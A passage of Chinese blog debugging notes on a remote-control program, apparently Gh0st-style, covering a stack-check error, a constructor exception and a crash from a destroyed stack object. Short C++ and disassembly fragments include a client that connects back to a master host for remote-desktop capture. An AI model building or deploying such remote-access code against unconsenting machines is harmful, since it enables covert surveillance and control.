  倒数第三个参数应当是 LPDWORD 类型,而且是输出,传入的仅仅是char类型,虽然因为对齐 char 也分配了4字节,不会导致栈覆盖,但是在debug模式下系统加入了严苛的栈检测机制:虽然分配了四字节,因为是char类型,所以剩余的三字节是不应该修改的,在release下就没有这问题。 
修改为 LONG 类型即可解决问题:

<code class="language-C hljs objectivec has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;"> <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">unsigned</span> <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">long</span> chOpt; *((<span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">char</span> *)&chOpt) = <span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">1</span>;</code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li><li style="box-sizing: border-box; padding: 0px 5px;">2</li></ul>

------------------------------------------------------------------------------------------------------------------------------------


------------------------------------------------------------------------------------------------------------------------------------

10.CIniFile 构造函数导致异常

系统自动定义的一个对象

<code class="language-C hljs cs has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;"><span class="hljs-comment" style="color: rgb(136, 0, 0); box-sizing: border-box;">// 唯一的一个 ChostApp 对象</span> ChostApp theApp;</code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li><li style="box-sizing: border-box; padding: 0px 5px;">2</li></ul>

这个构造函数应该是在最早执行的,在 ChostApp 里面有一个成员

<code class="language-C hljs has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;">CIniFile m_IniFile;</code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li></ul>

所以要首先调用 CIniFile 的构造函数

<code class="language-C hljs objectivec has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;">CIniFile::CIniFile(<span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">void</span>) { <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">char</span> szAppName[MAX_PATH]; <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">int</span> len; HINSTANCE hinst; <span class="hljs-comment" style="color: rgb(136, 0, 0); box-sizing: border-box;">//hinst = AfxGetInstanceHandle();</span> ::GetModuleFileName(GetModuleHandle(<span class="hljs-literal" style="color: rgb(0, 102, 102); box-sizing: border-box;">NULL</span>), szAppName, <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">sizeof</span>(szAppName)); len = strlen(szAppName); }</code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li><li style="box-sizing: border-box; padding: 0px 5px;">2</li><li style="box-sizing: border-box; padding: 0px 5px;">3</li><li style="box-sizing: border-box; padding: 0px 5px;">4</li><li style="box-sizing: border-box; padding: 0px 5px;">5</li><li style="box-sizing: border-box; padding: 0px 5px;">6</li><li style="box-sizing: border-box; padding: 0px 5px;">7</li><li style="box-sizing: border-box; padding: 0px 5px;">8</li><li style="box-sizing: border-box; padding: 0px 5px;">9</li></ul>

因为 AfxGetInstanceHandle() 调用导致异常。 
具体可见CSDN论坛讨论。

---------------------------------------------------------------------------------------------------------------------------------

11.栈上对象多线程,析构函数导致程序崩溃

  打开主控端。开启被控端, 此时主控端显示上线。

  在server端点击桌面管理可以正常显示被控端桌面,然后关闭远程桌面,此时被控端出现一个错误: 
TestDll.exe 中的 0x5950cc6f (server.dll) 处有未经处理的异常: 0xC0000005: 读取位置 0x02ecfca4 时发生访问冲突

<code class="hljs avrasm has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;">nRet = m_pClient->Send((LPBYTE)lpData, nSize)<span class="hljs-comment" style="color: rgb(136, 0, 0); box-sizing: border-box;">;</span> <span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">5950</span>CC64 <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">mov</span> eax,dword ptr [ebp+<span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">0</span>Ch] <span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">5950</span>CC67 <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">push</span> eax <span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">5950</span>CC68 <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">mov</span> ecx,dword ptr [ebp+<span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">8</span>] <span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">5950</span>CC6B <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">push</span> ecx <span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">5950</span>CC6C <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">mov</span> edx,dword ptr [ebp-<span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">18</span>h] <span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">5950</span>CC6F <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">mov</span> ecx,dword ptr [edx+<span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">4</span>] </code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li><li style="box-sizing: border-box; padding: 0px 5px;">2</li><li style="box-sizing: border-box; padding: 0px 5px;">3</li><li style="box-sizing: border-box; padding: 0px 5px;">4</li><li style="box-sizing: border-box; padding: 0px 5px;">5</li><li style="box-sizing: border-box; padding: 0px 5px;">6</li><li style="box-sizing: border-box; padding: 0px 5px;">7</li></ul>

此时执行到的指令位置是 5950CC6F

对应的源代码是

<code class="language-C hljs r has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;">int CManager::Send(LPBYTE lpData, UINT nSize) { int nRet = <span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">0</span>; <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">try</span> { nRet = m_pClient->Send((LPBYTE)lpData, nSize); }catch(<span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">...</span>){}; <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">return</span> nRet; }</code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li><li style="box-sizing: border-box; padding: 0px 5px;">2</li><li style="box-sizing: border-box; padding: 0px 5px;">3</li><li style="box-sizing: border-box; padding: 0px 5px;">4</li><li style="box-sizing: border-box; padding: 0px 5px;">5</li><li style="box-sizing: border-box; padding: 0px 5px;">6</li><li style="box-sizing: border-box; padding: 0px 5px;">7</li><li style="box-sizing: border-box; padding: 0px 5px;">8</li><li style="box-sizing: border-box; padding: 0px 5px;">9</li></ul>

寄存器edx的数值是 edx 0x02ecfca0 unsigned long

  奇怪的是在关闭远程桌面以前这个函数执行了很多次,都没有出现这个问题。现在在关闭远程桌面之后就这样。通过对比发现 出现访问异常的内存 在关闭远程桌面之后数值出现了变化。

可以在关闭远程桌面之后 vs2010下内存访问断点,edx + 4 的位置

<code class="hljs haskell has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;"> 调试 -> 新建断点 -> 新建内存断点</code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li></ul>

此时按F5发现中断在manager类的析构函数里面:

<code class="language-C hljs mathematica has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;">CManager::~CManager() <span class="hljs-list" style="box-sizing: border-box;">{ CloseHandle(m_hEventDlgOpen); }</span></code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li><li style="box-sizing: border-box; padding: 0px 5px;">2</li><li style="box-sizing: border-box; padding: 0px 5px;">3</li><li style="box-sizing: border-box; padding: 0px 5px;">4</li></ul>

再看堆栈窗口 是从 Loop_ScreenManager 函数结尾调用而来的:

<code class="language-C hljs lasso has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;">DWORD WINAPI Loop_ScreenManager(SOCKET sRemote) { CClientSocket socketClient; <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">if</span> (<span class="hljs-subst" style="color: rgb(0, 0, 0); box-sizing: border-box;">!</span>socketClient<span class="hljs-built_in" style="color: rgb(102, 0, 102); box-sizing: border-box;">.</span>Connect(CKernelManager<span class="hljs-tag" style="color: rgb(0, 102, 102); box-sizing: border-box;">::m_strMasterHost</span>, CKernelManager<span class="hljs-tag" style="color: rgb(0, 102, 102); box-sizing: border-box;">::m_nMasterPort</span>)) <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">return</span> <span class="hljs-subst" style="color: rgb(0, 0, 0); box-sizing: border-box;">-</span><span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">1</span>; CScreenManager manager(<span class="hljs-subst" style="color: rgb(0, 0, 0); box-sizing: border-box;">&</span>socketClient); socketClient<span class="hljs-built_in" style="color: rgb(102, 0, 102); box-sizing: border-box;">.</span>run_event_loop(); <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">return</span> <span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">0</span>; }</code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li><li style="box-sizing: border-box; padding: 0px 5px;">2</li><li style="box-sizing: border-box; padding: 0px 5px;">3</li><li style="box-sizing: border-box; padding: 0px 5px;">4</li><li style="box-sizing: border-box; padding: 0px 5px;">5</li><li style="box-sizing: border-box; padding: 0px 5px;">6</li><li style="box-sizing: border-box; padding: 0px 5px;">7</li><li style="box-sizing: border-box; padding: 0px 5px;">8</li><li style="box-sizing: border-box; padding: 0px 5px;">9</li><li style="box-sizing: border-box; padding: 0px 5px;">10</li><li style="box-sizing: border-box; padding: 0px 5px;">11</li><li style="box-sizing: border-box; padding: 0px 5px;">12</li></ul>

  这样就大概分析出执行流程:

  在上面函数中定义了一个CScreenManager类的对象manager,这个对象在栈中。CScreenManager基类是 CManager 
当在主控端把远程桌面关闭之后run_event_loop 会返回,这样这个函数也就返回了,对象manager也就开始调用自己的析构函数,以前能访问的现在也就不能访问了。 所以就会出现上面的问题。

  其实在运行的时候CScreenManager类的构造函数中创建了2个线程ControlThread ,WorkThread,当正常运行没有调试器中断的时候当函数 Loop_ScreenManager 执行完之后ControlThread 这个线程还未完全退出,不知道这样会产生什么意外后果??

  经过试验在 函数 Loop_ScreenManager结束之前加入 sleep(20) 可以解决这个问题。

------------------------------------------------------------------------------------------------------------------------------------



未完待续。。。

阅读全文
0 0
原创粉丝点击